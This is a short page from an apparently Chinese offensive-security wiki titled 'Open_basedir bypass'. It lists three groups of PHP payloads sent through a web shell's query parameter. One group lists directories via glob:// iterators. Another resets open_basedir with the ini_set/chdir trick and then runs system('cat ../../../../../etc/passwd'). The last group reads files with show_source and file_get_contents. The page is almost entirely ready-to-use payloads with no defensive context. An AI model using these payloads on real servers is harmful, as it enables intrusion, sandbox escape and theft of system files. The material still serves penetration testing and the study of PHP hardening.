> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/chu-shi-fang-wen/yi-xie-bypass/openbasedir-rao-guo.md).

# Open\_basedir绕过

```
第一种
http://x.com/shell.php?a=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
http://x.com/shell.php?a=if%20(%20$b%20=%20opendir(%22glob:///var/www/html/*.php%22)%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20%22filename:%22.$file.%22\n%22;}closedir($b);}
第二种
http://x.com/shell.php?a=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd');
http://x.com/shell.php?a=mkdir(%22/tmp/crispr%22);chdir(%27/tmp/crispr/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27))
第三种
命令执行绕过
读文件
?a=show_source('preload.php');
?a=echo(readfile('preload.php'));
?a=print_r(readfile('preload.php'));
?a=echo(file_get_contents('preload.php'));
?a=print_r(file_get_contents('preload.php'));
```